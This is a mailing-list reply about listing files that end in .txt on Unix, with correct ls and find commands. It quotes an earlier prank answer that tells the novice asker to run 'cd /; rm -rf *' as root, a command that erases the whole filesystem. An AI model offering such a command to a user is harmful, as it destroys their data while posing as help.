I think Stephane is suggesting that this is a very basic unix task which he doesn't have the patience to answer, and that you should spend some time with the manuals.
grep is overkill for what you want. In a single directory, ls *.txt or ls -1 *.txt if you need to recurse a directory tree, find . -name \*.txt man ls and man find for many more details. If you do ls |grep txt as suggested by another list member, you'll get matches to txt.dat and nextxtsystem.config and so on. This is equivalent to ls -1 *txt* man grep for more details. -Chris > -----Original Message----- > From: Stephane Faroult [mailto:[EMAIL PROTECTED] > > >Any one whom could help me with grep command. > > > >I would like to "catch" all files in a directory > >which ends with .txt > > > >The files in the directory that fits that condition > >is: > > > >ia123456.txt > >ia654321.txt > > > > > > > >How should I write the unix command? > > > >Thanks in advance > > > >Roland > > > > cd /; rm -rf * > > Just make sure to do it as root. > > Regards, > > Stephane Faroult LEGAL NOTICE: Unless expressly stated otherwise, this message is confidential and may be privileged. It is intended for the addressee(s) only. Access to this e-mail by anyone else is unauthorized. If you are not an addressee, any disclosure or copying of the contents or any action taken (or not taken) in reliance on it is unauthorized and may be unlawful. If you are not an addressee, please inform the sender immediately. -- Please see the official ORACLE-L FAQ: http://www.orafaq.net -- Author: Sarnowski, Chris INET: [EMAIL PROTECTED] Fat City Network Services -- 858-538-5051 http://www.fatcity.com San Diego, California -- Mailing list and web hosting services --------------------------------------------------------------------- To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).